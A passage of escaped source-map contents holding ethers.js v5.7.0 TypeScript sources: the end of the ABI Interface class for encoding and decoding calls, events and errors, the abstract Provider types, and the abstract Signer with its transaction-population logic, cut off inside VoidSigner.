\"getEventTopic\")(eventFragment);\n }\n\n\n _decodeParams(params: ReadonlyArray, data: BytesLike): Result {\n return this._abiCoder.decode(params, data)\n }\n\n _encodeParams(params: ReadonlyArray, values: ReadonlyArray): string {\n return this._abiCoder.encode(params, values)\n }\n\n encodeDeploy(values?: ReadonlyArray): string {\n return this._encodeParams(this.deploy.inputs, values || [ ]);\n }\n\n decodeErrorResult(fragment: ErrorFragment | string, data: BytesLike): Result {\n if (typeof(fragment) === \"string\") {\n fragment = this.getError(fragment);\n }\n\n const bytes = arrayify(data);\n\n if (hexlify(bytes.slice(0, 4)) !== this.getSighash(fragment)) {\n logger.throwArgumentError(`data signature does not match error ${ fragment.name }.`, \"data\", hexlify(bytes));\n }\n\n return this._decodeParams(fragment.inputs, bytes.slice(4));\n }\n\n encodeErrorResult(fragment: ErrorFragment | string, values?: ReadonlyArray): string {\n if (typeof(fragment) === \"string\") {\n fragment = this.getError(fragment);\n }\n\n return hexlify(concat([\n this.getSighash(fragment),\n this._encodeParams(fragment.inputs, values || [ ])\n ]));\n }\n\n // Decode the data for a function call (e.g. tx.data)\n decodeFunctionData(functionFragment: FunctionFragment | string, data: BytesLike): Result {\n if (typeof(functionFragment) === \"string\") {\n functionFragment = this.getFunction(functionFragment);\n }\n\n const bytes = arrayify(data);\n\n if (hexlify(bytes.slice(0, 4)) !== this.getSighash(functionFragment)) {\n logger.throwArgumentError(`data signature does not match function ${ functionFragment.name }.`, \"data\", hexlify(bytes));\n }\n\n return this._decodeParams(functionFragment.inputs, bytes.slice(4));\n }\n\n // Encode the data for a function call (e.g. tx.data)\n encodeFunctionData(functionFragment: FunctionFragment | string, values?: ReadonlyArray): string {\n if (typeof(functionFragment) === \"string\") {\n functionFragment = this.getFunction(functionFragment);\n }\n\n return hexlify(concat([\n this.getSighash(functionFragment),\n this._encodeParams(functionFragment.inputs, values || [ ])\n ]));\n }\n\n // Decode the result from a function call (e.g. from eth_call)\n decodeFunctionResult(functionFragment: FunctionFragment | string, data: BytesLike): Result {\n if (typeof(functionFragment) === \"string\") {\n functionFragment = this.getFunction(functionFragment);\n }\n\n let bytes = arrayify(data);\n\n let reason: string = null;\n let message = \"\";\n let errorArgs: Result = null;\n let errorName: string = null;\n let errorSignature: string = null;\n switch (bytes.length % this._abiCoder._getWordSize()) {\n case 0:\n try {\n return this._abiCoder.decode(functionFragment.outputs, bytes);\n } catch (error) { }\n break;\n\n case 4: {\n const selector = hexlify(bytes.slice(0, 4));\n const builtin = BuiltinErrors[selector];\n if (builtin) {\n errorArgs = this._abiCoder.decode(builtin.inputs, bytes.slice(4));\n errorName = builtin.name;\n errorSignature = builtin.signature;\n if (builtin.reason) { reason = errorArgs[0]; }\n if (errorName === \"Error\") {\n message = `; VM Exception while processing transaction: reverted with reason string ${ JSON.stringify(errorArgs[0]) }`;\n } else if (errorName === \"Panic\") {\n message = `; VM Exception while processing transaction: reverted with panic code ${ errorArgs[0] }`;\n }\n } else {\n try {\n const error = this.getError(selector);\n errorArgs = this._abiCoder.decode(error.inputs, bytes.slice(4));\n errorName = error.name;\n errorSignature = error.format();\n } catch (error) { }\n }\n break;\n }\n }\n\n return logger.throwError(\"call revert exception\" + message, Logger.errors.CALL_EXCEPTION, {\n method: functionFragment.format(),\n data: hexlify(data), errorArgs, errorName, errorSignature, reason\n });\n }\n\n // Encode the result for a function call (e.g. for eth_call)\n encodeFunctionResult(functionFragment: FunctionFragment | string, values?: ReadonlyArray): string {\n if (typeof(functionFragment) === \"string\") {\n functionFragment = this.getFunction(functionFragment);\n }\n\n return hexlify(this._abiCoder.encode(functionFragment.outputs, values || [ ]));\n }\n\n // Create the filter for the event with search criteria (e.g. for eth_filterLog)\n encodeFilterTopics(eventFragment: EventFragment | string, values: ReadonlyArray): Array> {\n if (typeof(eventFragment) === \"string\") {\n eventFragment = this.getEvent(eventFragment);\n }\n\n if (values.length > eventFragment.inputs.length) {\n logger.throwError(\"too many arguments for \" + eventFragment.format(), Logger.errors.UNEXPECTED_ARGUMENT, {\n argument: \"values\",\n value: values\n })\n }\n\n let topics: Array> = [];\n if (!eventFragment.anonymous) { topics.push(this.getEventTopic(eventFragment)); }\n\n const encodeTopic = (param: ParamType, value: any): string => {\n if (param.type === \"string\") {\n return id(value);\n } else if (param.type === \"bytes\") {\n return keccak256(hexlify(value));\n }\n\n if (param.type === \"bool\" && typeof(value) === \"boolean\") {\n value = (value ? \"0x01\": \"0x00\");\n }\n\n if (param.type.match(/^u?int/)) {\n value = BigNumber.from(value).toHexString();\n }\n\n // Check addresses are valid\n if (param.type === \"address\") { this._abiCoder.encode( [ \"address\" ], [ value ]); }\n return hexZeroPad(hexlify(value), 32);\n };\n\n values.forEach((value, index) => {\n\n let param = (eventFragment).inputs[index];\n\n if (!param.indexed) {\n if (value != null) {\n logger.throwArgumentError(\"cannot filter non-indexed parameters; must be null\", (\"contract.\" + param.name), value);\n }\n return;\n }\n\n if (value == null) {\n topics.push(null);\n } else if (param.baseType === \"array\" || param.baseType === \"tuple\") {\n logger.throwArgumentError(\"filtering with tuples or arrays not supported\", (\"contract.\" + param.name), value);\n } else if (Array.isArray(value)) {\n topics.push(value.map((value) => encodeTopic(param, value)));\n } else {\n topics.push(encodeTopic(param, value));\n }\n });\n\n // Trim off trailing nulls\n while (topics.length && topics[topics.length - 1] === null) {\n topics.pop();\n }\n\n return topics;\n }\n\n encodeEventLog(eventFragment: EventFragment | string, values: ReadonlyArray): { data: string, topics: Array } {\n if (typeof(eventFragment) === \"string\") {\n eventFragment = this.getEvent(eventFragment);\n }\n\n const topics: Array = [ ];\n\n const dataTypes: Array = [ ];\n const dataValues: Array = [ ];\n\n if (!eventFragment.anonymous) {\n topics.push(this.getEventTopic(eventFragment));\n }\n\n if (values.length !== eventFragment.inputs.length) {\n logger.throwArgumentError(\"event arguments/values mismatch\", \"values\", values);\n }\n\n eventFragment.inputs.forEach((param, index) => {\n const value = values[index];\n if (param.indexed) {\n if (param.type === \"string\") {\n topics.push(id(value))\n } else if (param.type === \"bytes\") {\n topics.push(keccak256(value))\n } else if (param.baseType === \"tuple\" || param.baseType === \"array\") {\n // @TODO\n throw new Error(\"not implemented\");\n } else {\n topics.push(this._abiCoder.encode([ param.type] , [ value ]));\n }\n } else {\n dataTypes.push(param);\n dataValues.push(value);\n }\n });\n\n return {\n data: this._abiCoder.encode(dataTypes , dataValues),\n topics: topics\n };\n }\n\n // Decode a filter for the event and the search criteria\n decodeEventLog(eventFragment: EventFragment | string, data: BytesLike, topics?: ReadonlyArray): Result {\n if (typeof(eventFragment) === \"string\") {\n eventFragment = this.getEvent(eventFragment);\n }\n\n if (topics != null && !eventFragment.anonymous) {\n let topicHash = this.getEventTopic(eventFragment);\n if (!isHexString(topics[0], 32) || topics[0].toLowerCase() !== topicHash) {\n logger.throwError(\"fragment/topic mismatch\", Logger.errors.INVALID_ARGUMENT, { argument: \"topics[0]\", expected: topicHash, value: topics[0] });\n }\n topics = topics.slice(1);\n }\n\n let indexed: Array = [];\n let nonIndexed: Array = [];\n let dynamic: Array = [];\n\n eventFragment.inputs.forEach((param, index) => {\n if (param.indexed) {\n if (param.type === \"string\" || param.type === \"bytes\" || param.baseType === \"tuple\" || param.baseType === \"array\") {\n indexed.push(ParamType.fromObject({ type: \"bytes32\", name: param.name }));\n dynamic.push(true);\n } else {\n indexed.push(param);\n dynamic.push(false);\n }\n } else {\n nonIndexed.push(param);\n dynamic.push(false);\n }\n });\n\n let resultIndexed = (topics != null) ? this._abiCoder.decode(indexed, concat(topics)): null;\n let resultNonIndexed = this._abiCoder.decode(nonIndexed, data, true);\n\n let result: (Array & { [ key: string ]: any }) = [ ];\n let nonIndexedIndex = 0, indexedIndex = 0;\n eventFragment.inputs.forEach((param, index) => {\n if (param.indexed) {\n if (resultIndexed == null) {\n result[index] = new Indexed({ _isIndexed: true, hash: null });\n\n } else if (dynamic[index]) {\n result[index] = new Indexed({ _isIndexed: true, hash: resultIndexed[indexedIndex++] });\n\n } else {\n try {\n result[index] = resultIndexed[indexedIndex++];\n } catch (error) {\n result[index] = error;\n }\n }\n } else {\n try {\n result[index] = resultNonIndexed[nonIndexedIndex++];\n } catch (error) {\n result[index] = error;\n }\n }\n\n // Add the keyword argument if named and safe\n if (param.name && result[param.name] == null) {\n const value = result[index];\n\n // Make error named values throw on access\n if (value instanceof Error) {\n Object.defineProperty(result, param.name, {\n enumerable: true,\n get: () => { throw wrapAccessError(`property ${ JSON.stringify(param.name) }`, value); }\n });\n } else {\n result[param.name] = value;\n }\n }\n });\n\n // Make all error indexed values throw on access\n for (let i = 0; i < result.length; i++) {\n const value = result[i];\n if (value instanceof Error) {\n Object.defineProperty(result, i, {\n enumerable: true,\n get: () => { throw wrapAccessError(`index ${ i }`, value); }\n });\n }\n }\n\n return Object.freeze(result);\n }\n\n // Given a transaction, find the matching function fragment (if any) and\n // determine all its properties and call parameters\n parseTransaction(tx: { data: string, value?: BigNumberish }): TransactionDescription {\n let fragment = this.getFunction(tx.data.substring(0, 10).toLowerCase())\n\n if (!fragment) { return null; }\n\n return new TransactionDescription({\n args: this._abiCoder.decode(fragment.inputs, \"0x\" + tx.data.substring(10)),\n functionFragment: fragment,\n name: fragment.name,\n signature: fragment.format(),\n sighash: this.getSighash(fragment),\n value: BigNumber.from(tx.value || \"0\"),\n });\n }\n\n // @TODO\n //parseCallResult(data: BytesLike): ??\n\n // Given an event log, find the matching event fragment (if any) and\n // determine all its properties and values\n parseLog(log: { topics: Array, data: string}): LogDescription {\n let fragment = this.getEvent(log.topics[0]);\n\n if (!fragment || fragment.anonymous) { return null; }\n\n // @TODO: If anonymous, and the only method, and the input count matches, should we parse?\n // Probably not, because just because it is the only event in the ABI does\n // not mean we have the full ABI; maybe just a fragment?\n\n\n return new LogDescription({\n eventFragment: fragment,\n name: fragment.name,\n signature: fragment.format(),\n topic: this.getEventTopic(fragment),\n args: this.decodeEventLog(fragment, log.data, log.topics)\n });\n }\n\n parseError(data: BytesLike): ErrorDescription {\n const hexData = hexlify(data);\n let fragment = this.getError(hexData.substring(0, 10).toLowerCase())\n\n if (!fragment) { return null; }\n\n return new ErrorDescription({\n args: this._abiCoder.decode(fragment.inputs, \"0x\" + hexData.substring(10)),\n errorFragment: fragment,\n name: fragment.name,\n signature: fragment.format(),\n sighash: this.getSighash(fragment),\n });\n }\n\n\n /*\n static from(value: Array | string | Interface) {\n if (Interface.isInterface(value)) {\n return value;\n }\n if (typeof(value) === \"string\") {\n return new Interface(JSON.parse(value));\n }\n return new Interface(value);\n }\n */\n\n static isInterface(value: any): value is Interface {\n return !!(value && value._isInterface);\n }\n}\n\n", "export const version = \"abstract-provider/5.7.0\";\n", "\"use strict\";\n\nimport { BigNumber, BigNumberish } from \"@ethersproject/bignumber\";\nimport { BytesLike, isHexString } from \"@ethersproject/bytes\";\nimport { Network } from \"@ethersproject/networks\";\nimport { Deferrable, Description, defineReadOnly, resolveProperties } from \"@ethersproject/properties\";\nimport { AccessListish, Transaction } from \"@ethersproject/transactions\";\nimport { OnceBlockable } from \"@ethersproject/web\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\n///////////////////////////////\n// Exported Types\n\n\nexport type TransactionRequest = {\n to?: string,\n from?: string,\n nonce?: BigNumberish,\n\n gasLimit?: BigNumberish,\n gasPrice?: BigNumberish,\n\n data?: BytesLike,\n value?: BigNumberish,\n chainId?: number\n\n type?: number;\n accessList?: AccessListish;\n\n maxPriorityFeePerGas?: BigNumberish;\n maxFeePerGas?: BigNumberish;\n\n customData?: Record;\n ccipReadEnabled?: boolean;\n}\n\nexport interface TransactionResponse extends Transaction {\n hash: string;\n\n // Only if a transaction has been mined\n blockNumber?: number,\n blockHash?: string,\n timestamp?: number,\n\n confirmations: number,\n\n // Not optional (as it is in Transaction)\n from: string;\n\n // The raw transaction\n raw?: string,\n\n // This function waits until the transaction has been mined\n wait: (confirmations?: number) => Promise\n};\n\nexport type BlockTag = string | number;\n\nexport interface _Block {\n hash: string;\n parentHash: string;\n number: number;\n\n timestamp: number;\n nonce: string;\n difficulty: number;\n _difficulty: BigNumber;\n\n gasLimit: BigNumber;\n gasUsed: BigNumber;\n\n miner: string;\n extraData: string;\n\n baseFeePerGas?: null | BigNumber;\n}\n\nexport interface Block extends _Block {\n transactions: Array;\n}\n\nexport interface BlockWithTransactions extends _Block {\n transactions: Array;\n}\n\n\nexport interface Log {\n blockNumber: number;\n blockHash: string;\n transactionIndex: number;\n\n removed: boolean;\n\n address: string;\n data: string;\n\n topics: Array;\n\n transactionHash: string;\n logIndex: number;\n}\n\nexport interface TransactionReceipt {\n to: string;\n from: string;\n contractAddress: string,\n transactionIndex: number,\n root?: string,\n gasUsed: BigNumber,\n logsBloom: string,\n blockHash: string,\n transactionHash: string,\n logs: Array,\n blockNumber: number,\n confirmations: number,\n cumulativeGasUsed: BigNumber,\n effectiveGasPrice: BigNumber,\n byzantium: boolean,\n type: number;\n status?: number\n};\n\nexport interface FeeData {\n lastBaseFeePerGas: null | BigNumber;\n maxFeePerGas: null | BigNumber;\n maxPriorityFeePerGas: null | BigNumber;\n gasPrice: null | BigNumber;\n}\n\nexport interface EventFilter {\n address?: string;\n topics?: Array | null>;\n}\n\nexport interface Filter extends EventFilter {\n fromBlock?: BlockTag,\n toBlock?: BlockTag,\n}\n\nexport interface FilterByBlockHash extends EventFilter {\n blockHash?: string;\n}\n\n//export type CallTransactionable = {\n// call(transaction: TransactionRequest): Promise;\n//};\n\nexport abstract class ForkEvent extends Description {\n readonly expiry: number;\n\n readonly _isForkEvent?: boolean;\n\n static isForkEvent(value: any): value is ForkEvent {\n return !!(value && value._isForkEvent);\n }\n}\n\nexport class BlockForkEvent extends ForkEvent {\n readonly blockHash: string;\n\n readonly _isBlockForkEvent?: boolean;\n\n constructor(blockHash: string, expiry?: number) {\n if (!isHexString(blockHash, 32)) {\n logger.throwArgumentError(\"invalid blockHash\", \"blockHash\", blockHash);\n }\n\n super({\n _isForkEvent: true,\n _isBlockForkEvent: true,\n expiry: (expiry || 0),\n blockHash: blockHash\n });\n }\n}\n\nexport class TransactionForkEvent extends ForkEvent {\n readonly hash: string;\n\n readonly _isTransactionOrderForkEvent?: boolean;\n\n constructor(hash: string, expiry?: number) {\n if (!isHexString(hash, 32)) {\n logger.throwArgumentError(\"invalid transaction hash\", \"hash\", hash);\n }\n\n super({\n _isForkEvent: true,\n _isTransactionForkEvent: true,\n expiry: (expiry || 0),\n hash: hash\n });\n }\n}\n\nexport class TransactionOrderForkEvent extends ForkEvent {\n readonly beforeHash: string;\n readonly afterHash: string;\n\n constructor(beforeHash: string, afterHash: string, expiry?: number) {\n if (!isHexString(beforeHash, 32)) {\n logger.throwArgumentError(\"invalid transaction hash\", \"beforeHash\", beforeHash);\n }\n if (!isHexString(afterHash, 32)) {\n logger.throwArgumentError(\"invalid transaction hash\", \"afterHash\", afterHash);\n }\n\n super({\n _isForkEvent: true,\n _isTransactionOrderForkEvent: true,\n expiry: (expiry || 0),\n beforeHash: beforeHash,\n afterHash: afterHash\n });\n }\n}\n\nexport type EventType = string | Array> | EventFilter | ForkEvent;\n\nexport type Listener = (...args: Array) => void;\n\n///////////////////////////////\n// Exported Abstracts\nexport abstract class Provider implements OnceBlockable {\n\n // Network\n abstract getNetwork(): Promise;\n\n // Latest State\n abstract getBlockNumber(): Promise;\n abstract getGasPrice(): Promise;\n async getFeeData(): Promise {\n const { block, gasPrice } = await resolveProperties({\n block: this.getBlock(\"latest\"),\n gasPrice: this.getGasPrice().catch((error) => {\n // @TODO: Why is this now failing on Calaveras?\n //console.log(error);\n return null;\n })\n });\n\n let lastBaseFeePerGas = null, maxFeePerGas = null, maxPriorityFeePerGas = null;\n\n if (block && block.baseFeePerGas) {\n // We may want to compute this more accurately in the future,\n // using the formula \"check if the base fee is correct\".\n // See: https://eips.ethereum.org/EIPS/eip-1559\n lastBaseFeePerGas = block.baseFeePerGas;\n maxPriorityFeePerGas = BigNumber.from(\"1500000000\");\n maxFeePerGas = block.baseFeePerGas.mul(2).add(maxPriorityFeePerGas);\n }\n\n return { lastBaseFeePerGas, maxFeePerGas, maxPriorityFeePerGas, gasPrice };\n }\n\n // Account\n abstract getBalance(addressOrName: string | Promise, blockTag?: BlockTag | Promise): Promise;\n abstract getTransactionCount(addressOrName: string | Promise, blockTag?: BlockTag | Promise): Promise;\n abstract getCode(addressOrName: string | Promise, blockTag?: BlockTag | Promise): Promise ;\n abstract getStorageAt(addressOrName: string | Promise, position: BigNumberish | Promise, blockTag?: BlockTag | Promise): Promise;\n\n // Execution\n abstract sendTransaction(signedTransaction: string | Promise): Promise;\n abstract call(transaction: Deferrable, blockTag?: BlockTag | Promise): Promise;\n abstract estimateGas(transaction: Deferrable): Promise;\n\n // Queries\n abstract getBlock(blockHashOrBlockTag: BlockTag | string | Promise): Promise;\n abstract getBlockWithTransactions(blockHashOrBlockTag: BlockTag | string | Promise): Promise;\n abstract getTransaction(transactionHash: string): Promise;\n abstract getTransactionReceipt(transactionHash: string): Promise;\n\n // Bloom-filter Queries\n abstract getLogs(filter: Filter): Promise>;\n\n // ENS\n abstract resolveName(name: string | Promise): Promise;\n abstract lookupAddress(address: string | Promise): Promise;\n\n // Event Emitter (ish)\n abstract on(eventName: EventType, listener: Listener): Provider;\n abstract once(eventName: EventType, listener: Listener): Provider;\n abstract emit(eventName: EventType, ...args: Array): boolean\n abstract listenerCount(eventName?: EventType): number;\n abstract listeners(eventName?: EventType): Array;\n abstract off(eventName: EventType, listener?: Listener): Provider;\n abstract removeAllListeners(eventName?: EventType): Provider;\n\n // Alias for \"on\"\n addListener(eventName: EventType, listener: Listener): Provider {\n return this.on(eventName, listener);\n }\n\n // Alias for \"off\"\n removeListener(eventName: EventType, listener: Listener): Provider {\n return this.off(eventName, listener);\n }\n\n // @TODO: This *could* be implemented here, but would pull in events...\n abstract waitForTransaction(transactionHash: string, confirmations?: number, timeout?: number): Promise;\n\n readonly _isProvider: boolean;\n\n constructor() {\n logger.checkAbstract(new.target, Provider);\n defineReadOnly(this, \"_isProvider\", true);\n }\n\n static isProvider(value: any): value is Provider {\n return !!(value && value._isProvider);\n }\n\n/*\n static getResolver(network: Network, callable: CallTransactionable, namehash: string): string {\n // No ENS...\n if (!network.ensAddress) {\n errors.throwError(\n \"network does support ENS\",\n errors.UNSUPPORTED_OPERATION,\n { operation: \"ENS\", network: network.name }\n );\n }\n\n // Not a namehash\n if (!isHexString(namehash, 32)) {\n errors.throwArgumentError(\"invalid name hash\", \"namehash\", namehash);\n }\n\n // keccak256(\"resolver(bytes32)\")\n let data = \"0x0178b8bf\" + namehash.substring(2);\n let transaction = { to: network.ensAddress, data: data };\n\n return provider.call(transaction).then((data) => {\n return provider.formatter.callAddress(data);\n });\n }\n\n static resolveNamehash(network: Network, callable: CallTransactionable, namehash: string): string {\n return this.getResolver(network, callable, namehash).then((resolverAddress) => {\n if (!resolverAddress) { return null; }\n\n // keccak256(\"addr(bytes32)\")\n let data = \"0x3b3b57de\" + namehash(name).substring(2);\n let transaction = { to: resolverAddress, data: data };\n return callable.call(transaction).then((data) => {\n return this.formatter.callAddress(data);\n });\n\n })\n }\n*/\n}\n", "export const version = \"abstract-signer/5.7.0\";\n", "\"use strict\";\n\nimport { BlockTag, FeeData, Provider, TransactionRequest, TransactionResponse } from \"@ethersproject/abstract-provider\";\nimport { BigNumber, BigNumberish } from \"@ethersproject/bignumber\";\nimport { Bytes, BytesLike } from \"@ethersproject/bytes\";\nimport { Deferrable, defineReadOnly, resolveProperties, shallowCopy } from \"@ethersproject/properties\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nconst allowedTransactionKeys: Array = [\n \"accessList\", \"ccipReadEnabled\", \"chainId\", \"customData\", \"data\", \"from\", \"gasLimit\", \"gasPrice\", \"maxFeePerGas\", \"maxPriorityFeePerGas\", \"nonce\", \"to\", \"type\", \"value\"\n];\n\nconst forwardErrors = [\n Logger.errors.INSUFFICIENT_FUNDS,\n Logger.errors.NONCE_EXPIRED,\n Logger.errors.REPLACEMENT_UNDERPRICED,\n];\n\n// EIP-712 Typed Data\n// See: https://eips.ethereum.org/EIPS/eip-712\n\nexport interface TypedDataDomain {\n name?: string;\n version?: string;\n chainId?: BigNumberish;\n verifyingContract?: string;\n salt?: BytesLike;\n};\n\nexport interface TypedDataField {\n name: string;\n type: string;\n};\n\n// Sub-classes of Signer may optionally extend this interface to indicate\n// they have a private key available synchronously\nexport interface ExternallyOwnedAccount {\n readonly address: string;\n readonly privateKey: string;\n}\n\n// Sub-Class Notes:\n// - A Signer MUST always make sure, that if present, the \"from\" field\n// matches the Signer, before sending or signing a transaction\n// - A Signer SHOULD always wrap private information (such as a private\n// key or mnemonic) in a function, so that console.log does not leak\n// the data\n\n// @TODO: This is a temporary measure to preserve backwards compatibility\n// In v6, the method on TypedDataSigner will be added to Signer\nexport interface TypedDataSigner {\n _signTypedData(domain: TypedDataDomain, types: Record>, value: Record): Promise;\n}\n\nexport abstract class Signer {\n readonly provider?: Provider;\n\n ///////////////////\n // Sub-classes MUST implement these\n\n // Returns the checksum address\n abstract getAddress(): Promise\n\n // Returns the signed prefixed-message. This MUST treat:\n // - Bytes as a binary message\n // - string as a UTF8-message\n // i.e. \"0x1234\" is a SIX (6) byte string, NOT 2 bytes of data\n abstract signMessage(message: Bytes | string): Promise;\n\n // Signs a transaction and returns the fully serialized, signed transaction.\n // The EXACT transaction MUST be signed, and NO additional properties to be added.\n // - This MAY throw if signing transactions is not supports, but if\n // it does, sentTransaction MUST be overridden.\n abstract signTransaction(transaction: Deferrable): Promise;\n\n // Returns a new instance of the Signer, connected to provider.\n // This MAY throw if changing providers is not supported.\n abstract connect(provider: Provider): Signer;\n\n readonly _isSigner: boolean;\n\n\n ///////////////////\n // Sub-classes MUST call super\n constructor() {\n logger.checkAbstract(new.target, Signer);\n defineReadOnly(this, \"_isSigner\", true);\n }\n\n\n ///////////////////\n // Sub-classes MAY override these\n\n async getBalance(blockTag?: BlockTag): Promise {\n this._checkProvider(\"getBalance\");\n return await this.provider.getBalance(this.getAddress(), blockTag);\n }\n\n async getTransactionCount(blockTag?: BlockTag): Promise {\n this._checkProvider(\"getTransactionCount\");\n return await this.provider.getTransactionCount(this.getAddress(), blockTag);\n }\n\n // Populates \"from\" if unspecified, and estimates the gas for the transaction\n async estimateGas(transaction: Deferrable): Promise {\n this._checkProvider(\"estimateGas\");\n const tx = await resolveProperties(this.checkTransaction(transaction));\n return await this.provider.estimateGas(tx);\n }\n\n // Populates \"from\" if unspecified, and calls with the transaction\n async call(transaction: Deferrable, blockTag?: BlockTag): Promise {\n this._checkProvider(\"call\");\n const tx = await resolveProperties(this.checkTransaction(transaction));\n return await this.provider.call(tx, blockTag);\n }\n\n // Populates all fields in a transaction, signs it and sends it to the network\n async sendTransaction(transaction: Deferrable): Promise {\n this._checkProvider(\"sendTransaction\");\n const tx = await this.populateTransaction(transaction);\n const signedTx = await this.signTransaction(tx);\n return await this.provider.sendTransaction(signedTx);\n }\n\n async getChainId(): Promise {\n this._checkProvider(\"getChainId\");\n const network = await this.provider.getNetwork();\n return network.chainId;\n }\n\n async getGasPrice(): Promise {\n this._checkProvider(\"getGasPrice\");\n return await this.provider.getGasPrice();\n }\n\n async getFeeData(): Promise {\n this._checkProvider(\"getFeeData\");\n return await this.provider.getFeeData();\n }\n\n\n async resolveName(name: string): Promise {\n this._checkProvider(\"resolveName\");\n return await this.provider.resolveName(name);\n }\n\n\n\n // Checks a transaction does not contain invalid keys and if\n // no \"from\" is provided, populates it.\n // - does NOT require a provider\n // - adds \"from\" is not present\n // - returns a COPY (safe to mutate the result)\n // By default called from: (overriding these prevents it)\n // - call\n // - estimateGas\n // - populateTransaction (and therefor sendTransaction)\n checkTransaction(transaction: Deferrable): Deferrable {\n for (const key in transaction) {\n if (allowedTransactionKeys.indexOf(key) === -1) {\n logger.throwArgumentError(\"invalid transaction key: \" + key, \"transaction\", transaction);\n }\n }\n\n const tx = shallowCopy(transaction);\n\n if (tx.from == null) {\n tx.from = this.getAddress();\n\n } else {\n // Make sure any provided address matches this signer\n tx.from = Promise.all([\n Promise.resolve(tx.from),\n this.getAddress()\n ]).then((result) => {\n if (result[0].toLowerCase() !== result[1].toLowerCase()) {\n logger.throwArgumentError(\"from address mismatch\", \"transaction\", transaction);\n }\n return result[0];\n });\n }\n\n return tx;\n }\n\n // Populates ALL keys for a transaction and checks that \"from\" matches\n // this Signer. Should be used by sendTransaction but NOT by signTransaction.\n // By default called from: (overriding these prevents it)\n // - sendTransaction\n //\n // Notes:\n // - We allow gasPrice for EIP-1559 as long as it matches maxFeePerGas\n async populateTransaction(transaction: Deferrable): Promise {\n\n const tx: Deferrable = await resolveProperties(this.checkTransaction(transaction))\n\n if (tx.to != null) {\n tx.to = Promise.resolve(tx.to).then(async (to) => {\n if (to == null) { return null; }\n const address = await this.resolveName(to);\n if (address == null) {\n logger.throwArgumentError(\"provided ENS name resolves to null\", \"tx.to\", to);\n }\n return address;\n });\n\n // Prevent this error from causing an UnhandledPromiseException\n tx.to.catch((error) => { });\n }\n\n // Do not allow mixing pre-eip-1559 and eip-1559 properties\n const hasEip1559 = (tx.maxFeePerGas != null || tx.maxPriorityFeePerGas != null);\n if (tx.gasPrice != null && (tx.type === 2 || hasEip1559)) {\n logger.throwArgumentError(\"eip-1559 transaction do not support gasPrice\", \"transaction\", transaction);\n } else if ((tx.type === 0 || tx.type === 1) && hasEip1559) {\n logger.throwArgumentError(\"pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas\", \"transaction\", transaction);\n }\n\n if ((tx.type === 2 || tx.type == null) && (tx.maxFeePerGas != null && tx.maxPriorityFeePerGas != null)) {\n // Fully-formed EIP-1559 transaction (skip getFeeData)\n tx.type = 2;\n\n } else if (tx.type === 0 || tx.type === 1) {\n // Explicit Legacy or EIP-2930 transaction\n\n // Populate missing gasPrice\n if (tx.gasPrice == null) { tx.gasPrice = this.getGasPrice(); }\n\n } else {\n\n // We need to get fee data to determine things\n const feeData = await this.getFeeData();\n\n if (tx.type == null) {\n // We need to auto-detect the intended type of this transaction...\n\n if (feeData.maxFeePerGas != null && feeData.maxPriorityFeePerGas != null) {\n // The network supports EIP-1559!\n\n // Upgrade transaction from null to eip-1559\n tx.type = 2;\n\n if (tx.gasPrice != null) {\n // Using legacy gasPrice property on an eip-1559 network,\n // so use gasPrice as both fee properties\n const gasPrice = tx.gasPrice;\n delete tx.gasPrice;\n tx.maxFeePerGas = gasPrice;\n tx.maxPriorityFeePerGas = gasPrice;\n\n } else {\n // Populate missing fee data\n if (tx.maxFeePerGas == null) { tx.maxFeePerGas = feeData.maxFeePerGas; }\n if (tx.maxPriorityFeePerGas == null) { tx.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas; }\n }\n\n } else if (feeData.gasPrice != null) {\n // Network doesn't support EIP-1559...\n\n // ...but they are trying to use EIP-1559 properties\n if (hasEip1559) {\n logger.throwError(\"network does not support EIP-1559\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"populateTransaction\"\n });\n }\n\n // Populate missing fee data\n if (tx.gasPrice == null) { tx.gasPrice = feeData.gasPrice; }\n\n // Explicitly set untyped transaction to legacy\n tx.type = 0;\n\n } else {\n // getFeeData has failed us.\n logger.throwError(\"failed to get consistent fee data\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"signer.getFeeData\"\n });\n }\n\n } else if (tx.type === 2) {\n // Explicitly using EIP-1559\n\n // Populate missing fee data\n if (tx.maxFeePerGas == null) { tx.maxFeePerGas = feeData.maxFeePerGas; }\n if (tx.maxPriorityFeePerGas == null) { tx.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas; }\n }\n }\n\n if (tx.nonce == null) { tx.nonce = this.getTransactionCount(\"pending\"); }\n\n if (tx.gasLimit == null) {\n tx.gasLimit = this.estimateGas(tx).catch((error) => {\n if (forwardErrors.indexOf(error.code) >= 0) {\n throw error;\n }\n\n return logger.throwError(\"cannot estimate gas; transaction may fail or may require manual gas limit\", Logger.errors.UNPREDICTABLE_GAS_LIMIT, {\n error: error,\n tx: tx\n });\n });\n }\n\n if (tx.chainId == null) {\n tx.chainId = this.getChainId();\n } else {\n tx.chainId = Promise.all([\n Promise.resolve(tx.chainId),\n this.getChainId()\n ]).then((results) => {\n if (results[1] !== 0 && results[0] !== results[1]) {\n logger.throwArgumentError(\"chainId address mismatch\", \"transaction\", transaction);\n }\n return results[0];\n });\n }\n\n return await resolveProperties(tx);\n }\n\n\n ///////////////////\n // Sub-classes SHOULD leave these alone\n\n _checkProvider(operation?: string): void {\n if (!this.provider) { logger.throwError(\"missing provider\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: (operation || \"_checkProvider\") });\n }\n }\n\n static isSigner(value: any): value is Signer {\n return !!(value && value._isSigner);\n }\n}\n\nexport class VoidSigner extends Signer implements TypedDataSigner {\n readonly address: string;\n\n constructor(address: string, provider?: Provider) {\n super();\n defineReadOnly(this, \"address\", address);\n defineReadOnly(this, \"provider\", provider || null);\n }\n\n getAddress(): Promise {\n return Promise.resolve(this.address);\n }\n\n _fail(message: string, operation: string): Promise {\n return Promise.resolve().then(() => {\n logger.throwError(message, Logger.errors.UNSUPPORTED_OPERATION, { operation: operation });\n });\n }\n\n signMessage(message: Bytes | string): Promise {\n return this._fail(\"VoidSigner cannot sign messages\", \"signMessage\");\n }\n\n signTransaction(transaction: Deferrable): Promise {\n return this._fail(\"VoidSigner cannot sign transactions\", \"signTransaction\");\n }\n\n _signTypedData(domain: 